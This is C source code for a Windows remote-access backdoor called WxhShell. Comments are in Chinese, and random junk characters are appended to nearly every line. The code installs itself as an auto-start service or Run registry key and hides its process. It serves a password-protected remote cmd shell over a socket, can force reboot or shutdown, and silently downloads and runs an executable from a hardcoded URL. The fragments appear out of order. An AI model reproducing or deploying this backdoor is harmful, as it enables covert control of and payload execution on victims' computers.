    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xQ$*K]VP  
    if(Boot(SHUTDOWN)) w>m/c1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~1_%wb  
    else { ^M,Q<HL  
    closesocket(wsh); _{ ?1+  
    ExitThread(0); cFuvi^n\  
    } 6lZhV[~Z/  
    break; 4!E6|N%f  
    } .|o7YTcR:  
  // 获取shell zIm$S/Qe*  
  case 's': { ea B-u  
    CmdShell(wsh); ?(R6}ab>K7  
    closesocket(wsh); ) tsaDG-E  
    ExitThread(0); e`C'5`d]  
    break; Bj\0RmVa1  
  } m >'o&Hj  
  // 退出 K_}vmB\2l  
  case 'x': { %=_ Iq\lC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #_Tceq5  
    CloseIt(wsh); |EF*]qI  
    break; * SC~_  
    } M6g!bK2l  
  // 离开 N4$0ptz#}G  
  case 'q': { Z!hDTT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;AHa|35\  
    closesocket(wsh); MMcHzRF  
    WSACleanup(); GJH6b7I  
    exit(1); #n0P'@d,r  
    break; `U?;9!|;6  
        } 1_yUv7uhX  
  } Ip<STz]-  
  } h05 ~ g  
[kn`~hI  
  // 提示信息 oOSw> 23x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sLB{R#Pt  
} ;pC-0m0Y  
  } ]Nm_<%lT  
{mI95g&  
  return; Bz ]64/  
} "Tfbd^AU  
~>+}(%<,  
// shell模块句柄 0y6nMI  
int CmdShell(SOCKET sock) 2MJ0[9  
{ J *^|ojX  
STARTUPINFO si; ]D<r5P%  
ZeroMemory(&si,sizeof(si)); w~1K93/p!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LN_6>u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dD!} P$  
PROCESS_INFORMATION ProcessInfo; l-M~e]  
char cmdline[]="cmd"; K b{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L2Mcs  
  return 0; 9[8?'`m  
} pn'*w 1i  
]D(%Ku,O%  
// 自身启动模式 ^ zo"~1  
int StartFromService(void) 0M:.Jhp  
{ jh}[7M  
typedef struct 8[xb+_  
{ >\KBXS}  
  DWORD ExitStatus; syV &Ds)  
  DWORD PebBaseAddress; \{abyi;  
  DWORD AffinityMask; ud! iy  
  DWORD BasePriority; d}IVYI  
  ULONG UniqueProcessId; gK`6 NUj  
  ULONG InheritedFromUniqueProcessId; $yhQ)@#1  
}   PROCESS_BASIC_INFORMATION; :? yv0Iu  
t0Ec` +)  
PROCNTQSIP NtQueryInformationProcess; 1*(^<x+n  
x|E$ f+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J/ <[irC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E!jM&\Zj  
?][Mv`ST  
  HANDLE             hProcess;  #*?5  
  PROCESS_BASIC_INFORMATION pbi; HJoPk'p%  
{ \r{$<s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ])T*T$u  
  if(NULL == hInst ) return 0; "(T@*"vX2  
;M\H#%G.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WG(tt.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A1Rt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jC<<S  
]\*g/QV  
  if (!NtQueryInformationProcess) return 0; ~@TNVkw  
k >U&Us0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8?P@<Do%  
  if(!hProcess) return 0; .hBE&Y>\  
HWD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oh-HfJyi  
%6dFACv  
  CloseHandle(hProcess); ; l+3l ez  
%w_h8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (g4.bbEm  
if(hProcess==NULL) return 0; D.U)R7(  
B9Y "J  
HMODULE hMod; "4}{Z)&R2  
char procName[255]; d];E99}  
unsigned long cbNeeded; Hi <{c  
rEs,o3h?po  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0|P RCq  
r|6S&Ia>  
  CloseHandle(hProcess);  fW|1AUD,  
MQw{^6Z>1  
if(strstr(procName,"services")) return 1; // 以服务启动 LW0't} z  
w\s$  
  return 0; // 注册表启动 l9? ] t;  
} >\3=h8zw  
OB l-6W  
// 主模块 H2|&  
int StartWxhshell(LPSTR lpCmdLine) t&H):P  
{ -=5z&) X  
  SOCKET wsl; D_(xhM  
BOOL val=TRUE; j`ggg]"&$  
  int port=0; S1*n4w.H  
  struct sockaddr_in door; [6)`wi  
vR-rCve$P  
  if(wscfg.ws_autoins) Install(); l 0jjLqm:  
Y(W>([59  
port=atoi(lpCmdLine); RY&Wvkjh  
;' YM@n  
if(port<=0) port=wscfg.ws_port; %Mz(G-I.\  
Cf J@|Rh  
  WSADATA data; 8cF-kfbfZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; asmMl9)(`  
~'=s?\I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ko $bCG%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9bq#&~+  
  door.sin_family = AF_INET; !+=jD3HTJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D8C@x`  
  door.sin_port = htons(port);  lrU}_`  
8yA :C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HG5|h[4Gt  
closesocket(wsl); 0:Yz'k5  
return 1; c7L#f=Ot?  
} >}43MxU?  
\y"!`.E7\d  
  if(listen(wsl,2) == INVALID_SOCKET) { $ZH$x3;  
closesocket(wsl); =>n:\_*M  
return 1; xaAJ>0IM  
} k 2_ "  
  Wxhshell(wsl); 4:y;<8+j\  
  WSACleanup(); b~y1'|}g  
Dwe_ytjpc  
return 0; |wQ|h$|  
H&6lQ30/)  
} ePP-&V"`"  
Xu3o,k  
// 以NT服务方式启动 E<>n0",  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v|<Dc8i+  
{ JyvXNV,  
DWORD   status = 0; FzXVNUMP  
  DWORD   specificError = 0xfffffff; @;"HslU\Q  
O}*[@uv/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xT#j-T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %j^[%&pT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @G~T&6E!  
  serviceStatus.dwWin32ExitCode     = 0; My&h{Qk  
  serviceStatus.dwServiceSpecificExitCode = 0; i:ZpAo+Z{  
  serviceStatus.dwCheckPoint       = 0; tE/j3  
  serviceStatus.dwWaitHint       = 0; 'd D d9  
~^UQw? ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?r"m*fY%  
  if (hServiceStatusHandle==0) return; 3^xTZ*G  
k?o(j/  
status = GetLastError(); I)U|~N  
  if (status!=NO_ERROR) _6;T /_R=  
{ "9Sxj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *+vS f7  
    serviceStatus.dwCheckPoint       = 0; w(]Q `  
    serviceStatus.dwWaitHint       = 0; 1X.5cl?V  
    serviceStatus.dwWin32ExitCode     = status; &D\~-fOGb  
    serviceStatus.dwServiceSpecificExitCode = specificError; A?06fo,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l[fU0;A  
    return; 1;i[H[hNY  
  } wBTnI>l9[  
{k-GWYFA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sV@kQ:  
  serviceStatus.dwCheckPoint       = 0; .\7R/cP}{A  
  serviceStatus.dwWaitHint       = 0; ~raRIh=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ygW,4Vz7J  
} Mmq{]q~At  
Ie`kzssM  
// 处理NT服务事件,比如:启动、停止 H^Ik FEVs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =mxmJFA  
{ ^PMP2\JQA  
switch(fdwControl) T+8F'9i`  
{ ?dVF@  
case SERVICE_CONTROL_STOP: T_lexX[\  
  serviceStatus.dwWin32ExitCode = 0; wv|:-8V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l 'fUa  
  serviceStatus.dwCheckPoint   = 0; S^]i  
  serviceStatus.dwWaitHint     = 0; H5j~<@STC  
  { \SkCsE#H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6=3}gd5  
  } osB[KRT>("  
  return; qY]IX9'kV  
case SERVICE_CONTROL_PAUSE: cxFfAk\,en  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {a-p/\U  
  break; S^HuQe!#  
case SERVICE_CONTROL_CONTINUE: I $!Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4E}]>  
  break; w^sM,c5d  
case SERVICE_CONTROL_INTERROGATE: @@9#od O  
  break; (y7U}Sb'  
}; B9`nV.a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sa36=:5x-  
} w8:~LX.n  
1tHTjEG4^3  
// 标准应用程序主函数 8QV+DDZx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -8X* (7  
{ \/*r45!  
q %i2' yE  
// 获取操作系统版本 `PnB<rf:*1  
OsIsNt=GetOsVer(); ~Aq;g$IJZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NYz{ [LM  
e*;-vS9H  
  // 从命令行安装 7_)'Re#  
  if(strpbrk(lpCmdLine,"iI")) Install(); C S"2Sd 1`  
Y-hGHnh]'  
  // 下载执行文件 a02@CsH  
if(wscfg.ws_downexe) { <?5 ,3`V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bm*Ell\a.  
  WinExec(wscfg.ws_filenam,SW_HIDE); C s?kZ %  
} i=#<0!m  
'Pk ( 1:  
if(!OsIsNt) { } :P/eY  
// 如果时win9x,隐藏进程并且设置为注册表启动 !run3ip`Z  
HideProc(); j y R 9a!  
StartWxhshell(lpCmdLine); I:Wrwd  
} MQ9 9fD$  
else j4$XAq~W  
  if(StartFromService()) *aT3L#0(  
  // 以服务方式启动 ?u{y[pI6  
  StartServiceCtrlDispatcher(DispatchTable); cd)yj&:?Bt  
else %Ak"d+OH4  
  // 普通方式启动 r'wam]1Z  
  StartWxhshell(lpCmdLine); ]fg?)z-Z  
l 3bo  
return 0; BFc=GiPnQ  
} # kl?ww U  
'kPc`) \  
{]]qd!,  
D'2&'7-sm\  
=========================================== E#X(0(A)  
z@iu$DZ  
xH!{;i  
Wg9q_Ql  
1nhC! jDD  
4zX@TI>j  
" zL$$G,  
,{MA90!  
#include <stdio.h> `O ?61YUQH  
#include <string.h> AI}29L3C  
#include <windows.h> fT9$0:eO  
#include <winsock2.h> 422d4Zu  
#include <winsvc.h> /co^swz  
#include <urlmon.h> CKeT%3  
'+LC.lM  
#pragma comment (lib, "Ws2_32.lib") tYK 5?d  
#pragma comment (lib, "urlmon.lib") JK34pm[s  
}t#uSz^  
#define MAX_USER   100 // 最大客户端连接数 FWcE\;%yVg  
#define BUF_SOCK   200 // sock buffer >/k[6r5  
#define KEY_BUFF   255 // 输入 buffer c,-3+b  
^cB83%<Z  
#define REBOOT     0   // 重启 :t+XW`eQR:  
#define SHUTDOWN   1   // 关机 MgyV {`  
ZE863M@.  
#define DEF_PORT   5000 // 监听端口 T+7-6y+ d  
4Ynv=G Qz  
#define REG_LEN     16   // 注册表键长度 u+"3l@Y#  
#define SVC_LEN     80   // NT服务名长度 J24<X9b  
aE BQx  
// 从dll定义API -}Vnr\f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RuSKJ,T:9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ' ^L|}e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .6z8fjttOC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~{lSc/SP|  
feSd%  
// wxhshell配置信息 KvW {M  
struct WSCFG { X<{kf-GP  
  int ws_port;         // 监听端口 -,+zA.{+W  
  char ws_passstr[REG_LEN]; // 口令 |Am +f.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3.>M=K~09  
  char ws_regname[REG_LEN]; // 注册表键名 ?o307 r  
  char ws_svcname[REG_LEN]; // 服务名 _{0'3tI7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +j Z,vKr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6V)P4ao  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J3`a}LyDf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no } wZ9#Ll  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I(!i"b9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n?'I&0>M  
|Xz-rgkQ  
}; ([\mnL<FC  
a hQdBoj  
// default Wxhshell configuration IJ >qs8  
struct WSCFG wscfg={DEF_PORT, nKpXRuFn\  
    "xuhuanlingzhe", NH+?7rf8  
    1, L|O[u^  
    "Wxhshell", x{y}pH"H  
    "Wxhshell", }Fs;sfH  
            "WxhShell Service", *9Eep~ 6  
    "Wrsky Windows CmdShell Service", \~u7 k  
    "Please Input Your Password: ", K@yLcgr{O2  
  1, *l\wl @{  
  "http://www.wrsky.com/wxhshell.exe", OI:G~Wg  
  "Wxhshell.exe" ?Vg251-H  
    }; N 0<([B;  
&5k$ v^W5  
// 消息定义模块 HoE@t-S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5eS0 B{,c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CWF(OMA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UqHk2h-  
char *msg_ws_ext="\n\rExit."; x~3N})T5  
char *msg_ws_end="\n\rQuit."; tgk] sQY  
char *msg_ws_boot="\n\rReboot..."; aTXmF1_n  
char *msg_ws_poff="\n\rShutdown..."; nX 4WlH  
char *msg_ws_down="\n\rSave to "; REqQJ7a/  
mmSC0F  
char *msg_ws_err="\n\rErr!"; !' ;1;k);  
char *msg_ws_ok="\n\rOK!"; 02+ k,xFb  
va6e]p*Oy  
char ExeFile[MAX_PATH]; r:rM~``  
int nUser = 0; ol^uM .k%_  
HANDLE handles[MAX_USER]; -;T!d  
int OsIsNt; K,B qVu  
i{T mn  
SERVICE_STATUS       serviceStatus; 1{%3OG^'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $wnK"k%G  
ha Tmfh_|  
// 函数声明 EL/~c*a/  
int Install(void);  C=k]g  
int Uninstall(void); s0EF{2<F  
int DownloadFile(char *sURL, SOCKET wsh); OGA_3|[S   
int Boot(int flag); .AHf]X0  
void HideProc(void);  al#BfcZW  
int GetOsVer(void); =17d7#-  
int Wxhshell(SOCKET wsl); 0<ze'FbV]  
void TalkWithClient(void *cs); 04o>POR  
int CmdShell(SOCKET sock); K14FY2"  
int StartFromService(void); jg)+]r/hS  
int StartWxhshell(LPSTR lpCmdLine); 3:H[S_q  
S=f:-?N|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UYLCzv~W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,oin<K  
:`jB1rI  
// 数据结构和表定义 z?Hi u6c-  
SERVICE_TABLE_ENTRY DispatchTable[] = /2s=;tA1  
{ Hsdcv~Xr;l  
{wscfg.ws_svcname, NTServiceMain}, 19#s:nt9  
{NULL, NULL} 1:Sq?=&  
}; Dt#( fuk#  
*P:!lO\|  
// 自我安装 EU5^"\  
int Install(void) 4fR}+[~2  
{ 5)@UpcjUA  
  char svExeFile[MAX_PATH]; #3 ~#`&  
  HKEY key; A-6><X's6  
  strcpy(svExeFile,ExeFile); ./7*<W:  
 m[>pv1o  
// 如果是win9x系统,修改注册表设为自启动 s:O8dL /  
if(!OsIsNt) { 4DwQ7KX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !4Oj^yy%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |!Uul0O  
  RegCloseKey(key); x^sSAI(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eE=}^6)(*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )I{~Pcq  
  RegCloseKey(key); P* Z1Rs_  
  return 0; JK jVrx> @  
    } *#y9P ve  
  } z<I@SI^>  
} r$Tu``z \  
else { $*\G Z$y>  
/s~(? =qYH  
// 如果是NT以上系统,安装为系统服务 u-/5&Endb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H6.  
if (schSCManager!=0) Vb57B.I  
{ XI5TVxo(q  
  SC_HANDLE schService = CreateService q2{Aq[  
  ( $wm.,Vb  
  schSCManager, ##QKXSD  
  wscfg.ws_svcname, .EfGL _  
  wscfg.ws_svcdisp, <V b SEi  
  SERVICE_ALL_ACCESS, S%Bm4jY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;t xW\iy%Z  
  SERVICE_AUTO_START, y$,j'B:;4m  
  SERVICE_ERROR_NORMAL, =".sCV9"N  
  svExeFile, Dug{)h_2  
  NULL, )a=FhSB[G  
  NULL, 4 (>8tP\Y  
  NULL, hy}n&h  
  NULL, ^D]y<@01  
  NULL V\m51H1mqo  
  ); [QZ8M@Gty#  
  if (schService!=0) p=T6Ix'_2e  
  { BD_"w]bqD  
  CloseServiceHandle(schService); IW>\\&pJ  
  CloseServiceHandle(schSCManager); 8ioxb`U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hw\hTTK  
  strcat(svExeFile,wscfg.ws_svcname); (>,}C/-UG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D:56>%y@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M>rertUR  
  RegCloseKey(key); ).i :C(|  
  return 0; K&IHt?vh!  
    } Y$4dqn  
  } DQy;W  ov  
  CloseServiceHandle(schSCManager); U|jip1\  
} y,F|L?dIq  
} /ReOf<%B  
(GJX[$@  
return 1; 8b|m66#|  
} s~b!3l`gu  
@|;XDO`k;  
// 自我卸载 rx\f:-3g  
int Uninstall(void) Yw6d-5=:  
{ W5U;{5  
  HKEY key; !#TM%w  
k:0nj!^4w>  
if(!OsIsNt) { *USzzLq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3;er.SFu{  
  RegDeleteValue(key,wscfg.ws_regname); a IgV"3  
  RegCloseKey(key); WW3! ,ln_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o%3VE8-  
  RegDeleteValue(key,wscfg.ws_regname); j\%m6\{n|  
  RegCloseKey(key); =|O><O|  
  return 0; JPmZ%]wA  
  } QG]*v=Z  
} dMDSyd<(  
} @sG5Do  
else { }Zp5d7(@w  
b l]YPx8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]%<0V,G q  
if (schSCManager!=0) @D2KDV3'  
{ )#0Llx!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wpepi8w,  
  if (schService!=0) $E35 W=~)  
  { tKLAA+Z  
  if(DeleteService(schService)!=0) { |>Wi5h{6X  
  CloseServiceHandle(schService); Zoyo:vv&  
  CloseServiceHandle(schSCManager); 8 huB<^  
  return 0; dY$jg  
  } Mb\[` 4z  
  CloseServiceHandle(schService); ^SJa/I EZ.  
  } | X0Ys8f  
  CloseServiceHandle(schSCManager); [+ N 5  
} 5imqZw  
}  |7wiwdD"  
hZDv5]V:0  
return 1;  j.vBld  
} mqv!"rk'w  
F/chE c V  
// 从指定url下载文件 QP[`*X  
int DownloadFile(char *sURL, SOCKET wsh) Nbm=;FHB`  
{ c[E>2P2-_  
  HRESULT hr; MnT+p[.  
char seps[]= "/"; jY8u1z  
char *token; QAK.Qk?Qu  
char *file; RWK##VHK  
char myURL[MAX_PATH]; Dwi[aC+k  
char myFILE[MAX_PATH]; pTzfc`~xv  
'$5o5\  
strcpy(myURL,sURL); GcA!I!j/  
  token=strtok(myURL,seps); a&~]77)  
  while(token!=NULL) )`gE-udR  
  { #^;^_  
    file=token; 8- ]7>2?_  
  token=strtok(NULL,seps); (??|\ &DTi  
  } sow/JLlbC  
&`A2&mZ  
GetCurrentDirectory(MAX_PATH,myFILE); {1j[RE  
strcat(myFILE, "\\"); ||vQW\g  
strcat(myFILE, file); EL=}xug,?  
  send(wsh,myFILE,strlen(myFILE),0); ?$\y0lHw/7  
send(wsh,"...",3,0); (!&g (l;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 26\*x  
  if(hr==S_OK) +6v;( ] y  
return 0; ne\N1`AU  
else y$7@~NH,d  
return 1; rXR}]|;>  
 !B\[Q$  
} QWWoj[d#  
gH zjI[WI  
// 系统电源模块 $/uNV1 ]o  
int Boot(int flag) q{t"=@lX01  
{ `O/RNMaC  
  HANDLE hToken; m K@a7fF?  
  TOKEN_PRIVILEGES tkp; v__;oqN0  
3` aJ"qQE  
  if(OsIsNt) { sw@* N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S.Fip _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]0wmvTR  
    tkp.PrivilegeCount = 1; 3tTz$$-#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QU{\ClW/?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X@7K#@5  
if(flag==REBOOT) { 07dUBoq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PX1Scvi  
  return 0; dLek4q `l  
} 6uH1dsD  
else { 7J%v""\1!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  8E!I9z  
  return 0; TAt9+\'  
} |fk,&5s  
  } @9rmm)TZ  
  else { NX*9nwp^  
if(flag==REBOOT) { Eh)VU_D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6c>tA2G|8  
  return 0; 'k9hzk(*  
} S-:7P.#Q  
else { 7TQh'j   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S hM}w/4  
  return 0; [+st?;"GF  
} IBzHXa>75  
} ptmPO4f  
Ueyt}44.e2  
return 1; Q nqU!6k@  
} +C)auzY7N  
_u:4y4}  
// win9x进程隐藏模块 3&@MZF&  
void HideProc(void) AOaf,ZF 8  
{  N>Pufr  
6]}Xi:I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g/q$;cB  
  if ( hKernel != NULL ) EN%Xs578  
  { 32IN;X|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8&=+Mw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5W!E.fz*T  
    FreeLibrary(hKernel); DOWUnJ;5  
  } nWK"i\2#G  
FZ^byIS[  
return; ?mt$c6-  
} +G_6Ek4  
B!le=V,@,  
// 获取操作系统版本 =P+S]<O  
int GetOsVer(void) vAJfMUlP  
{ #1zWzt|DW  
  OSVERSIONINFO winfo; _+8$=k2nM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }# -N7=h  
  GetVersionEx(&winfo); 9_ Qm_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <][|,9mw  
  return 1; R^F99L  
  else ^aZ Wu|p  
  return 0; +>OEp * j  
} DZXv3gnX  
nu$LWC-  
// 客户端句柄模块 `z3?ET  
int Wxhshell(SOCKET wsl) P N_QK Z  
{ Y#6@0Nn[G  
  SOCKET wsh; ^D B0C  
  struct sockaddr_in client; ;<q@>p[  
  DWORD myID; l{Hi5x'H  
{F k]X#j  
  while(nUser<MAX_USER) %p2C5z?  
{  aG\m 3r  
  int nSize=sizeof(client); 0{PK]qp7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d<6L&8)<  
  if(wsh==INVALID_SOCKET) return 1; _uHyE }d  
kQIWDN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fINM$ 6  
if(handles[nUser]==0) cx2s|@u0  
  closesocket(wsh); ~9oS~fP?I  
else =QyO$:t  
  nUser++; IFPywL{K  
  } F;ONo.v;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (p14{  
N"t, 6tH  
  return 0; aXC`yQ?  
} )hQNIt3o_  
i%*x7zjY{  
// 关闭 socket Y=3Y~  
void CloseIt(SOCKET wsh) ]V@! kg(p8  
{ {=g-zsc]K  
closesocket(wsh); ?EX'j >  
nUser--; 8d)F#  
ExitThread(0); [1nI%/</>  
} fJE ki>1  
'*3+'>   
// 客户端请求句柄 Ky nZzR  
void TalkWithClient(void *cs) (I[o;0w  
{ t41cl  
Gs?W7}<$  
  SOCKET wsh=(SOCKET)cs; 9$DVG/  
  char pwd[SVC_LEN]; Zc9 n0t[  
  char cmd[KEY_BUFF]; "-xC59,  
char chr[1]; ]K9 x<@!  
int i,j; F'j:\F6C;  
)edM@beY_  
  while (nUser < MAX_USER) { }(tGjx]  
yJp& A  
if(wscfg.ws_passstr) { W: ?-d{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WejY b;KS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $e*Nr=/  
  //ZeroMemory(pwd,KEY_BUFF); ~4`wfOvO  
      i=0; 2%8N<GW.F  
  while(i<SVC_LEN) { *Nt6 Ufq6  
2s{yg%U(  
  // 设置超时 R9CAw>s  
  fd_set FdRead; AN~1E@"  
  struct timeval TimeOut; `z=MI66Nl  
  FD_ZERO(&FdRead); <![T~<.  
  FD_SET(wsh,&FdRead); ZY/at/v  
  TimeOut.tv_sec=8; ,OasT!Sr  
  TimeOut.tv_usec=0; sG VC+!E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v}_$9&|S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f8&=D4)-w  
ixS78KIr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D!m hR?t  
  pwd=chr[0]; 4_"ZSVq]#  
  if(chr[0]==0xd || chr[0]==0xa) { B)-S@.u  
  pwd=0; |M K-~ep  
  break; 5%>U.X?i  
  } _>`0!mG  
  i++; yQx>h6  
    } ;:!LAe  
tRv#%>fj  
  // 如果是非法用户,关闭 socket f(_qcgXp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Xs! ew)>  
} e.jgV=dT-  
!J71[4t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p~mB;pZ%;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1_p'0lFe  
[MEa@D<7N  
while(1) { vv8$u3H  
$o@?D^  
  ZeroMemory(cmd,KEY_BUFF); d)G-K+&B  
qe$K6A%Yd  
      // 自动支持客户端 telnet标准   { &qBr&kg  
  j=0; b R6bS7$  
  while(j<KEY_BUFF) { f/c}XCH_h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,f1wN{P  
  cmd[j]=chr[0]; eP2 yU  
  if(chr[0]==0xa || chr[0]==0xd) { {Y@[hoHtF  
  cmd[j]=0; >'T%=50YH  
  break; ;I7Z*'5!  
  } GS,pl9#V_  
  j++; vn_avYwiy  
    } @!MbPS  
9qW,I|G  
  // 下载文件 X%-4x   
  if(strstr(cmd,"http://")) { wd]Yjr#%Ii  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sooh yK8  
  if(DownloadFile(cmd,wsh)) @fK`l@K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9BY b{<0tS  
  else UB1/FM4~  
